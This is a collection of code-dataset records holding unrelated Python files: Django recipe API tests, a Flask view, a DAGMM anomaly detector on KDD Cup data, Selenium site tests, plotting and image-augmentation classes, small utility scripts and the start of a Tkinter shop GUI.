APIClient()\n        self.user = get_user_model().objects.create_user(\n            'test@marsimon.com',\n            'testing123'\n        )\n        self.client.force_authenticate(self.user)\n\n    def test_retrieve_recipe_list(self):\n        \"\"\"Test retrieving a list of recipes\"\"\"\n\n        sample_recipe(user=self.user)\n        sample_recipe(user=self.user)\n\n        res = self.client.get(RECIPE_URL)\n\n        recipes = Recipe.objects.all().order_by('-id')\n        serializer = RecipeSerializer(recipes, many=True)\n        self.assertEqual(res.status_code, status.HTTP_200_OK)\n        self.assertEqual(res.data, serializer.data)\n\n    def test_recipes_limited_to_user(self):\n        \"\"\"Test retrieving recipes for user\"\"\"\n        user2 = get_user_model().objects.create_user(\n            'other@marsimon.com',\n            'testing123'\n        )\n        sample_recipe(user=user2)\n        sample_recipe(user=self.user, title='Test recipe')\n\n        res = self.client.get(RECIPE_URL)\n\n        recipes = Recipe.objects.filter(user=self.user)\n        serializer = RecipeSerializer(recipes, many=True)\n\n        self.assertEqual(res.status_code, status.HTTP_200_OK)\n        self.assertEqual(len(res.data), 1)\n        self.assertEqual(res.data, serializer.data)\n\n    def test_view_recipe_details(self):\n        \"\"\"Test viewing a recipe's details\"\"\"\n        recipe = sample_recipe(user=self.user)\n        recipe.tags.add(sample_tag(user=self.user))\n        recipe.ingredients.add(sample_ingredient(user=self.user))\n\n        url = detail_url(recipe.id)\n        res = self.client.get(url)\n\n        serializer = RecipeDetailsSerializer(recipe)\n        self.assertEqual(res.data, serializer.data)\n\n    def test_create_basic_recipe(self):\n        \"\"\"Test creating a recipe\"\"\"\n        payload = {\n            'title': 'Chocolate cake',\n            'time_minutes': 30,\n            'price': 5.00\n        }\n\n        res = self.client.post(RECIPE_URL, payload)\n\n        self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n        recipe = Recipe.objects.get(id=res.data['id'])\n\n        for key in payload.keys():\n            self.assertEqual(payload[key], getattr(recipe, key))\n\n    def test_create_recipe_with_tags(self):\n        \"\"\"Test creating a recipe with some tags\"\"\"\n        tag1 = sample_tag(user=self.user, name='Vegan')\n        tag2 = sample_tag(user=self.user, name='Desert')\n\n        payload = {\n            'title': 'Ceasar salad',\n            'tags': [tag1.id, tag2.id],\n            'time_minutes': 60,\n            'price': 6.00\n        }\n\n        res = self.client.post(RECIPE_URL, payload)\n\n        self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n        recipe = Recipe.objects.get(id=res.data['id'])\n        tags = recipe.tags.all()\n\n        self.assertEqual(tags.count(), 2)\n        self.assertIn(tag1, tags)\n        self.assertIn(tag2, tags)\n\n    def test_create_recipe_with_ingredients(self):\n        \"\"\"Test creating a recipe with some ingredients\"\"\"\n        ingredient1 = sample_ingredient(user=self.user, name='Lettuce')\n        ingredient2 = sample_ingredient(user=self.user, name='Tomatoes')\n\n        payload = {\n            'title': 'Garden salad',\n            'ingredients': [ingredient1.id, ingredient2.id],\n            'time_minutes': 30,\n            'price': 10.00\n        }\n\n        res = self.client.post(RECIPE_URL, payload)\n\n        self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n        recipe = Recipe.objects.get(id=res.data['id'])\n        tags = recipe.ingredients.all()\n\n        self.assertEqual(tags.count(), 2)\n        self.assertIn(ingredient1, tags)\n        self.assertIn(ingredient2, tags)\n\n","sub_path":"app/recipe/tests/test_recipe_api.py","file_name":"test_recipe_api.py","file_ext":"py","file_size_in_byte":5175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"220819520","text":"import flask\n\nimport pypi_org.services.package_service as package_service\n\nblueprint = flask.Blueprint(\"packages\", __name__, template_folder=\"templates\")\n\n\n@blueprint.route(\"/project/<package_name>\")\ndef package_details(package_name: str):\n    if not package_name:\n        return flask.abort(status=404)\n\n    package = package_service.get_package_by_id(package_name.strip().lower())\n    if not package:\n        return flask.abort(status=404)\n    \n    latest_release = None\n    latest_version = \"0.0.0\"\n    is_latest = True\n\n    if package.releases:\n        latest_release = package.releases[0]\n        latest_version = latest_release.version_text\n        is_latest = True\n\n    return flask.render_template(\n        \"packages/details.html\",\n        package=package,\n        latest_release=latest_release,\n        latest_version=latest_version,\n        is_latest=True,\n        )\n\n\n@blueprint.route(\"/<int:rank>\")\ndef popular(rank: int):\n    return \"The details for the {}th popular package\".format(rank)\n","sub_path":"07SQLAlchemyUsage/pypi_org/views/package_views.py","file_name":"package_views.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"79774771","text":"\nimport pandas as pd\n\nfrom gmm.DAGMM import *\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import precision_recall_fscore_support\n\ndf_info = pd.read_csv('dataset/kddcup.names',sep=\":\",skiprows=1, index_col=False, names=['colname','type'])\ncolnames = df_info.colname.values\ncoltypes = np.where(df_info[\"type\"].str.contains(\"continuous\"), \"float\", \"str\")\ncolnames = np.append(colnames, [\"status\"])\ncoltypes = np.append(coltypes, [\"str\"])\n\ndf = pd.read_csv('dataset/kddcup.data_10_percent_corrected',names=colnames, index_col=False,\n                    dtype=dict(zip(colnames,coltypes)))\n\n\nX = pd.get_dummies(df.iloc[:,:-1]).values\ny = np.where(df.status == 'normal.',1,0)\n\nX_train,X_test,y_train,y_test = train_test_split(X,y,test_size=0.5, random_state=123)\nX_train, y_train = X_train[y_train ==0], y_train[y_train==0]\n\nmodel=DAGMM(compress_hiddens_list=[60,30,10,1],\n            compress_activation=tf.nn.tanh,\n            estimate_hiddens_list=[10,4],\n            estimate_activation=tf.nn.relu)\n\n\ndef train_or_predict(is_training):\n    if is_training:\n        model.train(X_train)\n    else:\n        y_pred = model.predict(X_test)\n        prec, recall, fscore, _ = precision_recall_fscore_support(y_test, y_pred, average=\"binary\")\n        print(\" Precision = \" + str(prec))\n        print(\" Recall = \" + str(recall))\n        print(\" F1-Score  =\" + str(fscore))\n\nif __name__==\"__main__\":\n    train_or_predict(is_training=True)","sub_path":"Anomaly-Detection-DAGMM/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"244320344","text":"#!/usr/bin/env python\nimport unittest\nimport requests\n\nfrom openquake.taxonomy.test import pla\n\n\nclass TaxonomyAllTest(unittest.TestCase):\n\n    def cookie_test(self):\n        pla.get('')\n\n        cookie = pla.xpath_finduniq(\n            \"//a[@id='cookiehintsubmit']\",\n            100, 1)\n        cookie.click()\n\n    def linktop_test(self):\n        pla.get('')\n\n        linktop = pla.xpath_finduniq(\n            \"//a[normalize-space(text())='Calculate']\",\n            100, 1)\n        linktop.click()\n\n        pla.wait_new_page(linktop, 'https://platform.openquake.org/'\n                                   'calculate', timeout=10)\n\n    def search_test(self):\n        pla.get('')\n\n        varsearch = 'Assembly [ASS]'\n\n        search_field = pla.xpath_finduniq(\n            \"//input[@id='q' and @type='text']\")\n        search_field.send_keys(varsearch)\n\n        submit_but_search = pla.xpath_find_any(\n            \"//button[@name='Search']\")\n        submit_but_search[0].click()\n\n        search_term = pla.xpath_finduniq(\n            \"//a[@href='/terms/assembly-ass?highlight=WyJhc3NlbWJseSIsImFzcyJd']\")\n        search_term.click()\n\n    def content_test(self):\n        pla.get('')\n\n        letterlink = pla.xpath_finduniq(\n            \"//div[normalize-space(text())='H']\")\n        letterlink.click()\n\n        termlink = pla.xpath_finduniq(\n            \"//a[normalize-space(text())='H-shape [PLFH]']\")\n        termlink.click()\n\n        title_termlink = pla.xpath_finduniq(\n            \"//h1[normalize-space(text())='H-shape [PLFH]']\")\n\n        pla.get('')\n\n        letterurl = pla.xpath_finduniq(\n            \"//div[normalize-space(text())='E']\")\n        letterurl.click()\n\n        termlink = pla.xpath_finduniq(\n            \"//a[normalize-space(text())='Earth']\")\n        termlink.click()\n\n        # hide cookie law\n        header = pla.xpath_finduniq(\n            \"//div[@id='redim-cookiehint-bottom']\")\n\n        disp = 'none'\n\n        jquery = requests.get(\"https://code.jquery.com/jquery-1.12.4.min.js\").text\n        pla.driver.execute_script(jquery)\n\n        pla.driver.execute_script(\n            \"$(arguments[0]).attr('style','display:%s;')\" % disp, header)\n\n        intlink = pla.xpath_findfirst(\n            \"//a[@class='internal-link']\")\n        intlink.click()\n\n        pla.xpath_finduniq(\n            \"//h1[normalize-space(text())='Earth, unknown reinforcement [E99]']\")\n\n    def mono_alias_test(self):\n        pla.get('')\n\n        mono_alias_letterlink = pla.xpath_finduniq(\n            \"//div[normalize-space(text())='F']\")\n        mono_alias_letterlink.click()\n\n        mono_alias_termlink = pla.xpath_finduniq(\n            \"//a[normalize-space(text())='Fired clay']\")\n        mono_alias_termlink.click()\n\n    def bulk_redirect_test(self):\n        pla.get('')\n\n        pla.get('/terms/CR')\n        cr_redirect = pla.xpath_finduniq(\n            \"//h1[normalize-space(text())='Concrete, reinforced [CR]']\",\n            timeout=10)\n\n        pla.get('/terms/CB99')\n        cb99_redirect = pla.xpath_finduniq(\n            \"//h1[normalize-space(text())='Concrete blocks, unknown type [CB99]']\",\n            timeout=10)\n\ndef new_term():\n    pla.get('')\n\n    new_term = pla.xpath_finduniq(\n        \"//a[normalize-space(text())='New definition']\")\n    new_term.click()\n\n\nclass TaxonomyInOutTest(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n        pla.get('')\n        \n        login = pla.xpath_finduniq(\n            \"//a[normalize-space(text())='Contribute']\",\n            100, 1)\n        login.click()\n\n        user_field = pla.xpath_finduniq(\n            \"//input[@id='username' and @type='text' and\"\n            \" @name='username']\")\n\n        pwd_field = pla.xpath_finduniq(\n            \"//input[@id='password' and @type='password' and\"\n            \" @name='password']\")\n\n        submit_login = pla.xpath_finduniq(\n            \"//button[@type='submit']\")\n\n    @classmethod\n    def tearDownClass(cls):\n        logout = pla.xpath_finduniq(\"//a[normalize-space(text())='Logout']\",\n                                    100, 1)\n        logout.click()\n\n        pla.wait_new_page(logout, 'index.php/component/users/?view='\n                                  'login&Itemid=102', timeout=10)\n\n        submit_logout = pla.xpath_finduniq(\n            \"//button[@type='submit']\")\n        submit_logout.click()\n\n\nclass TaxonomyAdminTest(unittest.TestCase):\n\n    def login_test(self):\n        pla.get('administrator')\n\n        # login\n        admin_field = pla.xpath_finduniq(\n            \"//input[@id='mod-login-username' and @type='text' and\"\n            \" @name='username']\")\n\n        admin_field = pla.xpath_finduniq(\n            \"//input[@id='mod-login-password' and @type='password' and\"\n            \" @name='passwd']\")\n\n        submit_login_admin = pla.xpath_finduniq(\n            \"//button[@id='btn-login-submit'\"\n            \" and @class='btn btn-primary w-100 btn-lg']\")\n\n","sub_path":"openquake/taxonomy/test/base_test.py","file_name":"base_test.py","file_ext":"py","file_size_in_byte":4891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"196583225","text":"import pandas as pd\nimport numpy as np\n\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\nimport mpld3\nfrom matplotlib import rc\nimport sklearn.decomposition as decomposition\nimport sklearn.manifold as manifold\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis as LDA\n\n\nclass Process_data:\n    \n    def __init__(self, filename, norm_bool=1, replace_bool=1, vis_mode=0, clusters=0):\n        \n        try:\n            try:\n                df = pd.read_excel(filename)\n            except:\n                df = pd.read_csv(filename, sep=',')\n                \n        except:\n            self.x = 'na'\n        \n        self.sample_names = np.array(df[[0]]).flatten().tolist()\n        \n        for name in self.sample_names:\n            name = str(name).decode('ascii', 'ignore')\n        \n        df.drop(df.columns[[0]], axis=1, inplace=True)\n        \n        df = df.apply(pd.to_numeric, errors='coerce')\n        \n        # replacing the missing values\n        if replace_bool:\n            try:\n                df = df.fillna(df.mean())\n            except:\n                df = df.fillna(0)\n        else:\n            df = df.fillna(0)\n            \n    \n        DATA = np.array(df)\n    \n        feature_names = df.columns.values.tolist()\n    \n        for i in range(len(feature_names)):\n            feature_names[i] = str(feature_names[i]).decode('ascii', 'ignore')\n        \n                \n        if norm_bool:\n            \n            nDATA = []\n     \n            for i in range(len(DATA.T)):\n                nDATA.append((DATA.T[i]-np.mean(DATA,axis=0)[i])/(np.std(DATA,axis=0, ddof = 1)[i]))\n                     \n            DATA = np.array(nDATA).T\n            \n        if clusters != 0:\n            \n            from sklearn.cluster import KMeans\n            from numpy.random import RandomState\n            rng = RandomState(42)\n                \n            kmeans = KMeans(n_clusters=clusters, random_state=rng)    \n                \n            kmeans.fit(DATA)\n                \n            self.cluster_labels = kmeans.labels_\n        \n        else:\n            self.cluster_labels = [0 for x in range(len(DATA))]\n        \n        # t-SNE case\n        if vis_mode == 1:\n            \n            self.pca_true = False\n        \n            tsne = manifold.TSNE(n_components=2, random_state=42)\n            X = tsne.fit_transform(DATA)\n            \n            self.x = X[:, 0]\n            self.y = X[:, 1]\n            \n        \n        # LDA case\n        elif vis_mode == 2:\n            if clusters != 0:\n                if clusters > 2:\n                    \n                    self.pca_true = False\n                    \n                    lda = LDA()\n                    lda.fit(DATA,self.cluster_labels)\n                    \n                    X = lda.transform(DATA)\n                \n                    self.x = X[:, 0]\n                    self.y = X[:, 1]\n                else:\n                    # PCA case, if n_clusters are not specified or <= 2\n                    self.pca_true = True\n                        \n                    pca = decomposition.PCA(n_components=2)\n                    X = pca.fit_transform(DATA)\n                        \n                    variance_ratio = pca.explained_variance_ratio_  \n                    self.variance_perc = variance_ratio * 100\n                        \n                        \n                    self.x = X[:, 0]\n                    self.y = X[:, 1]\n                    \n            \n        # PCA case\n        else:\n            self.pca_true = True\n            \n            pca = decomposition.PCA(n_components=2)\n            X = pca.fit_transform(DATA)\n            \n            variance_ratio = pca.explained_variance_ratio_  \n            self.variance_perc = variance_ratio * 100\n            \n            \n            self.x = X[:, 0]\n            self.y = X[:, 1]\n    \n\n    def plot_2d(self, mode=0):\n        \n        if self.x == 'na':\n            return 'na'\n        \n        x, y = self.x, self.y\n        sample_names, cluster_labels = self.sample_names, self.cluster_labels\n        \n        font = {'family': 'Verdana',\n                'weight': 'normal'}\n        rc('font', **font)\n        \n        # CSS for custom labels\n        css = \"\"\"\n        table\n        {\n          border-collapse: collapse;\n        }\n        th\n        {\n          color: #ffffff;\n          background-color: #000000;\n        }\n        td\n        {\n          background-color: #cccccc;\n        }\n        table, th, td\n        {\n          font-family:Arial, Helvetica, sans-serif;\n          border: 1px solid black;\n          text-align: right;\n        }\n        \"\"\"\n        \n        fig, ax = plt.subplots(subplot_kw=dict(axisbg='#EEEEEE'), figsize=(12,9))\n        N = len(x)\n        \n        # without labels, without clusters\n        if mode == 0:\n            scatter = ax.scatter(x,\n                                 y,\n                                 c='b',\n                                 s=3000/N + 0.5*N,\n                                 alpha=0.3,\n                                 cmap=plt.cm.gist_rainbow) \n    \n        # with labels, without clusters\n        elif mode == 1:     \n            scatter = ax.scatter(x,\n                                 y,\n                                 c='b',\n                                 s=3000/N + 0.7*N,\n                                 alpha=0.3,\n                                 cmap=plt.cm.gist_rainbow) \n                                 \n            for label, x, y in zip(sample_names, x, y):\n                ax.text(x-.05, y+.05, label, ha = 'right', va = 'bottom', fontsize=10)\n                ax.plot([x-.05,x], [y+.05,y], 'k-')\n                \n        # with clusters, without labels\n        elif mode == 2:                                         \n            scatter = ax.scatter(x,\n                             y,\n                             c=cluster_labels,\n                             s=3500/N + 0.7*N,\n                             alpha=0.3,\n                             cmap=plt.cm.Dark2) \n                \n        # with clusters and labels\n        elif mode == 3:    \n            scatter = ax.scatter(x,\n                                 y,\n                                 c=cluster_labels,\n                                 s=3500/N + 0.7*N,\n                                 alpha=0.3,\n                                 cmap=plt.cm.Dark2) \n                                     \n            for label, x, y in zip(sample_names, x, y):\n                ax.text(x-.05, y+.05, label, ha = 'right', va = 'bottom', fontsize=10)\n                ax.plot([x-.05,x], [y+.05,y], 'k-')\n        \n        # demo\n        elif mode == 4:\n            scatter = ax.scatter(x,\n                             y,\n                             c=cluster_labels,\n                             s=3500/N + 0.7*N,\n                             alpha=0.3,\n                             cmap=plt.cm.Dark2)\n    \n            for label, x, y in zip(sample_names, x, y):\n                ax.text(x-.05, y+.05, label, ha = 'right', va = 'bottom', fontsize=10)\n                ax.plot([x-.05,x], [y+.05,y], 'k-')\n                             \n            ax.set_title(\"Demo: 'Protein consumption in Europe' dataset. LDA & k-means cluster analysis (k=6)\")\n    \n        # variance percentages for the PCA case\n        if self.pca_true:\n            ax.set_xlabel(\"PC1 (%1.1f%%)\" % (self.variance_perc[0]), fontsize=12)\n            ax.set_ylabel(\"PC2 (%1.1f%%)\" % (self.variance_perc[1]), fontsize=12)\n        else:\n            ax.set_xlabel(\"\")\n            ax.set_ylabel(\"\")\n    \n    \n        ax.grid(color='white', linestyle='solid')\n        \n        \n        df2 = pd.DataFrame(index=range(N))\n        if mode in (2,3,4):\n            df2['Group'] = [(x+1) for x in cluster_labels]\n        \n        labels = []\n        for i in range(N):\n            label = df2.ix[[i], :].T\n            label.columns = ['{0}'.format(sample_names[i])]\n            # .to_html() is unicode; so make leading 'u' go away with str()\n            labels.append(str(label.to_html()))\n        \n        tooltip = mpld3.plugins.PointHTMLTooltip(scatter, labels=labels,\n                                       voffset=10, hoffset=10, css=css)\n                                       \n        mpld3.plugins.connect(fig, tooltip)\n        \n        output = mpld3.fig_to_html(fig)\n        \n        return output\n        \n       # with open('Web/templates/plot.html', 'w') as f:\n            # f.write(output)\n    \n\n    ","sub_path":"plotgen.py","file_name":"plotgen.py","file_ext":"py","file_size_in_byte":8505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"153658735","text":"import cv2\nimport random\nimport numpy as np\n\nfrom . import functional as F\nfrom ...core.transforms_interface import DualTransform, to_tuple\n\n__all__ = [\"ShiftScaleRotate\", \"ElasticTransform\"]\n\n\nclass ShiftScaleRotate(DualTransform):\n    \"\"\"Randomly apply affine transforms: translate, scale and rotate the input.\n\n    Args:\n        shift_limit ((float, float) or float): shift factor range for both height and width. If shift_limit\n            is a single float value, the range will be (-shift_limit, shift_limit). Absolute values for lower and\n            upper bounds should lie in range [0, 1]. Default: (-0.0625, 0.0625).\n        scale_limit ((float, float) or float): scaling factor range. If scale_limit is a single float value, the\n            range will be (-scale_limit, scale_limit). Default: (-0.1, 0.1).\n        rotate_limit ((int, int) or int): rotation range. If rotate_limit is a single int value, the\n            range will be (-rotate_limit, rotate_limit). Default: (-45, 45).\n        interpolation (OpenCV flag): flag that is used to specify the interpolation algorithm. Should be one of:\n            cv2.INTER_NEAREST, cv2.INTER_LINEAR, cv2.INTER_CUBIC, cv2.INTER_AREA, cv2.INTER_LANCZOS4.\n            Default: cv2.INTER_LINEAR.\n        border_mode (OpenCV flag): flag that is used to specify the pixel extrapolation method. Should be one of:\n            cv2.BORDER_CONSTANT, cv2.BORDER_REPLICATE, cv2.BORDER_REFLECT, cv2.BORDER_WRAP, cv2.BORDER_REFLECT_101.\n            Default: cv2.BORDER_REFLECT_101\n        value (int, float, list of int, list of float): padding value if border_mode is cv2.BORDER_CONSTANT.\n        mask_value (int, float,\n                    list of int,\n                    list of float): padding value if border_mode is cv2.BORDER_CONSTANT applied for masks.\n        shift_limit_x ((float, float) or float): shift factor range for width. If it is set then this value\n            instead of shift_limit will be used for shifting width.  If shift_limit_x is a single float value,\n            the range will be (-shift_limit_x, shift_limit_x). Absolute values for lower and upper bounds should lie in\n            the range [0, 1]. Default: None.\n        shift_limit_y ((float, float) or float): shift factor range for height. If it is set then this value\n            instead of shift_limit will be used for shifting height.  If shift_limit_y is a single float value,\n            the range will be (-shift_limit_y, shift_limit_y). Absolute values for lower and upper bounds should lie\n            in the range [0, 1]. Default: None.\n        p (float): probability of applying the transform. Default: 0.5.\n\n    Targets:\n        image, mask, keypoints\n\n    Image types:\n        uint8, float32\n    \"\"\"\n\n    def __init__(\n        self,\n        shift_limit=0.0625,\n        scale_limit=0.1,\n        rotate_limit=45,\n        interpolation=cv2.INTER_LINEAR,\n        border_mode=cv2.BORDER_REFLECT_101,\n        value=None,\n        mask_value=None,\n        shift_limit_x=None,\n        shift_limit_y=None,\n        always_apply=False,\n        p=0.5,\n    ):\n        super(ShiftScaleRotate, self).__init__(always_apply, p)\n        self.shift_limit_x = to_tuple(shift_limit_x if shift_limit_x is not None else shift_limit)\n        self.shift_limit_y = to_tuple(shift_limit_y if shift_limit_y is not None else shift_limit)\n        self.scale_limit = to_tuple(scale_limit, bias=1.0)\n        self.rotate_limit = to_tuple(rotate_limit)\n        self.interpolation = interpolation\n        self.border_mode = border_mode\n        self.value = value\n        self.mask_value = mask_value\n\n    def apply(self, img, angle=0, scale=0, dx=0, dy=0, interpolation=cv2.INTER_LINEAR, **params):\n        return F.shift_scale_rotate(img, angle, scale, dx, dy, interpolation, self.border_mode, self.value)\n\n    def apply_to_mask(self, img, angle=0, scale=0, dx=0, dy=0, **params):\n        return F.shift_scale_rotate(img, angle, scale, dx, dy, cv2.INTER_NEAREST, self.border_mode, self.mask_value)\n\n    def apply_to_keypoint(self, keypoint, angle=0, scale=0, dx=0, dy=0, rows=0, cols=0, **params):\n        return F.keypoint_shift_scale_rotate(keypoint, angle, scale, dx, dy, rows, cols)\n\n    def get_params(self):\n        return {\n            \"angle\": random.uniform(self.rotate_limit[0], self.rotate_limit[1]),\n            \"scale\": random.uniform(self.scale_limit[0], self.scale_limit[1]),\n            \"dx\": random.uniform(self.shift_limit_x[0], self.shift_limit_x[1]),\n            \"dy\": random.uniform(self.shift_limit_y[0], self.shift_limit_y[1]),\n        }\n\n    def apply_to_bbox(self, bbox, angle, scale, dx, dy, **params):\n        return F.bbox_shift_scale_rotate(bbox, angle, scale, dx, dy, **params)\n\n    def get_transform_init_args(self):\n        return {\n            \"shift_limit_x\": self.shift_limit_x,\n            \"shift_limit_y\": self.shift_limit_y,\n            \"scale_limit\": to_tuple(self.scale_limit, bias=-1.0),\n            \"rotate_limit\": self.rotate_limit,\n            \"interpolation\": self.interpolation,\n            \"border_mode\": self.border_mode,\n            \"value\": self.value,\n            \"mask_value\": self.mask_value,\n        }\n\n\nclass ElasticTransform(DualTransform):\n    \"\"\"Elastic deformation of images as described in [Simard2003]_ (with modifications).\n    Based on https://gist.github.com/erniejunior/601cdf56d2b424757de5\n\n    .. [Simard2003] Simard, Steinkraus and Platt, \"Best Practices for\n         Convolutional Neural Networks applied to Visual Document Analysis\", in\n         Proc. of the International Conference on Document Analysis and\n         Recognition, 2003.\n\n    Args:\n        alpha (float):\n        sigma (float): Gaussian filter parameter.\n        alpha_affine (float): The range will be (-alpha_affine, alpha_affine)\n        interpolation (OpenCV flag): flag that is used to specify the interpolation algorithm. Should be one of:\n            cv2.INTER_NEAREST, cv2.INTER_LINEAR, cv2.INTER_CUBIC, cv2.INTER_AREA, cv2.INTER_LANCZOS4.\n            Default: cv2.INTER_LINEAR.\n        border_mode (OpenCV flag): flag that is used to specify the pixel extrapolation method. Should be one of:\n            cv2.BORDER_CONSTANT, cv2.BORDER_REPLICATE, cv2.BORDER_REFLECT, cv2.BORDER_WRAP, cv2.BORDER_REFLECT_101.\n            Default: cv2.BORDER_REFLECT_101\n        value (int, float, list of ints, list of float): padding value if border_mode is cv2.BORDER_CONSTANT.\n        mask_value (int, float,\n                    list of ints,\n                    list of float): padding value if border_mode is cv2.BORDER_CONSTANT applied for masks.\n        approximate (boolean): Whether to smooth displacement map with fixed kernel size.\n                               Enabling this option gives ~2X speedup on large images.\n\n    Targets:\n        image, mask\n\n    Image types:\n        uint8, float32\n    \"\"\"\n\n    def __init__(\n        self,\n        alpha=1,\n        sigma=50,\n        alpha_affine=50,\n        interpolation=cv2.INTER_LINEAR,\n        border_mode=cv2.BORDER_REFLECT_101,\n        value=None,\n        mask_value=None,\n        always_apply=False,\n        approximate=False,\n        p=0.5,\n    ):\n        super(ElasticTransform, self).__init__(always_apply, p)\n        self.alpha = alpha\n        self.alpha_affine = alpha_affine\n        self.sigma = sigma\n        self.interpolation = interpolation\n        self.border_mode = border_mode\n        self.value = value\n        self.mask_value = mask_value\n        self.approximate = approximate\n\n    def apply(self, img, random_state=None, interpolation=cv2.INTER_LINEAR, **params):\n        return F.elastic_transform(\n            img,\n            self.alpha,\n            self.sigma,\n            self.alpha_affine,\n            interpolation,\n            self.border_mode,\n            self.value,\n            np.random.RandomState(random_state),\n            self.approximate,\n        )\n\n    def apply_to_mask(self, img, random_state=None, **params):\n        return F.elastic_transform(\n            img,\n            self.alpha,\n            self.sigma,\n            self.alpha_affine,\n            cv2.INTER_NEAREST,\n            self.border_mode,\n            self.mask_value,\n            np.random.RandomState(random_state),\n            self.approximate,\n        )\n\n    def get_params(self):\n        return {\"random_state\": random.randint(0, 10000)}\n\n    def get_transform_init_args_names(self):\n        return (\"alpha\", \"sigma\", \"alpha_affine\", \"interpolation\", \"border_mode\", \"value\", \"mask_value\", \"approximate\")\n","sub_path":"albumentations/augmentations/geometric/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":8504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"292613748","text":"import os\n#change directory-> chdir 모르면 구글검색하면서 해보기\n#리눅스에서 .은 현재폴더를 뜻함\nos.chdir(r'C:\\Users\\student\\change\\SSAFY지원자')\n\nfor filename in os.listdir(\".\"):\n    after_name = filename.replace(\"SAMSUNG\",\"SSAFY\")\n    os.rename(filename, after_name)\n   \n   \n    #os.rename(filename ,\"SSAMSUNG_\"+filename)\n    ","sub_path":"changename.py","file_name":"changename.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"563904841","text":"f = open(\"D-small-attempt1.in\", \"r\")\ng = open(\"D-small.out\", \"w\")\n\ndef get_tiles(k, c, s):\n    if k > s * c:\n        return [\"IMPOSSIBLE\"]\n\n    bot = max(-1, c - k - 1)\n    temp = [k ** i for i in xrange(c - 1, bot, -1)]\n    l = c - bot - 1\n\n    tiles = []\n    pos = 1\n    for i in xrange(k):\n        pos += i * temp[i % l]\n        if i % l == l - 1 or i == k - 1:\n            tiles.append(str(pos))\n            pos = 1\n\n    return tiles\n\nf.readline()\n\ncounter = 1\nfor l in f:\n    a = l.strip().split()\n    k = int(a[0])\n    c = int(a[1])\n    s = int(a[2])\n\n    g.write(\"Case #{}: \".format(counter) + \" \".join(get_tiles(k, c, s)) + \"\\n\")\n    counter += 1\n","sub_path":"solutions_5636311922769920_0/Python/jarsp/QD.py","file_name":"QD.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"198423451","text":"import tkinter.messagebox as msg\r\nfrom tkinter import *\r\nfrom tkinter.ttk import Treeview, Style\r\nimport pandas as pd\r\nfrom PIL import ImageTk, Image\r\nimport Check_Sales_Products\r\nimport Database\r\nimport Home\r\nimport Showing_Records\r\nimport Check_Profit_Loss_GUI\r\nimport Check_Amount_Details\r\nimport Add_Customer\r\nimport Customer_Records\r\n\r\n\r\nclass show:\r\n    def __init__(self):\r\n        self.window=Tk()\r\n        self.window.title(\"Show | Products Quantity\")\r\n        self.window.iconbitmap('shop.ico')\r\n        self.window.geometry(\"1365x700+0+0\")\r\n        self.window.maxsize(1365,700)\r\n        self.window.minsize(1365,700)\r\n        # self.window.resizable(width=False,height=False)\r\n    def add_background(self):\r\n        self.image = Image.open(\"images/back.jpg\")\r\n        self.image = self.image.resize((1365, 700), Image.ANTIALIAS)\r\n        self.img = ImageTk.PhotoImage(self.image)\r\n        self.li = Label(image = self.img, text=\"TALHA\")\r\n        self.li.image = self.img\r\n        self.li.pack()\r\n        self.Menubar()\r\n\r\n    def Menubar(self):\r\n        self.menubar = Menu()\r\n        self.menuitems_add = Menu(self.menubar, tearoff=0,bg=\"blue\",fg=\"white\")\r\n        self.menuitems_add.add_command(label=\"Add Products\", command=self.add_products)\r\n        # self.menuitems.add_separator()\r\n\r\n        self.menuitems_sales = Menu(self.menubar, tearoff=0,bg=\"blue\",fg=\"white\")\r\n        self.menuitems_sales.add_command(label=\"Sale Products\", command=self.sales_products)\r\n\r\n        self.menuitems_customer = Menu(self.menubar, tearoff=0, bg=\"blue\", fg=\"white\")\r\n        self.menuitems_customer.add_command(label=\"Add Customer\", command=self.add_customer)\r\n        self.menuitems_customer.add_command(label=\"Show Customer Records\", command=self.customer_record)\r\n\r\n        self.menuitems_reports = Menu(self.menubar, tearoff=0, bg=\"blue\", fg=\"white\")\r\n        self.menuitems_reports.add_command(label=\"Check Products Quantity\", command=self.check_products_quantity)\r\n        self.menuitems_reports.add_command(label=\"Check Profit/Loss\", command=self.check_profit_loss)\r\n        self.menuitems_reports.add_command(label=\"Check Sales Products\", command=self.check_products_sales)\r\n        self.menuitems_reports.add_command(label=\"Check Sent Amount Details\", command=self.check_amount)\r\n\r\n        self.menubar.add_cascade(label=\"Add Products\", menu=self.menuitems_add)\r\n        self.menubar.add_cascade(label=\"Sales Products\", menu=self.menuitems_sales)\r\n        self.menubar.add_cascade(label=\"Customer\", menu=self.menuitems_customer)\r\n        self.menubar.add_cascade(label=\"Reports\", menu=self.menuitems_reports)\r\n        self.menubar.add_cascade(label=\"Exit\", command=quit)\r\n        self.window.config(menu=self.menubar)\r\n\r\n    def add_table(self):\r\n        self.l1=Label(self.window,text=\"**Products Quantity**\",font=\"Courier 25 bold\",bg=\"black\",fg=\"white\",width=61)\r\n        self.l1.place(x=82,y=20)\r\n\r\n        self.l1 = Label(self.window, text=\"Developed by : Muhammad Talha | NTU\", font=\"Courier 10 bold\")\r\n        self.l1.place(x=280, 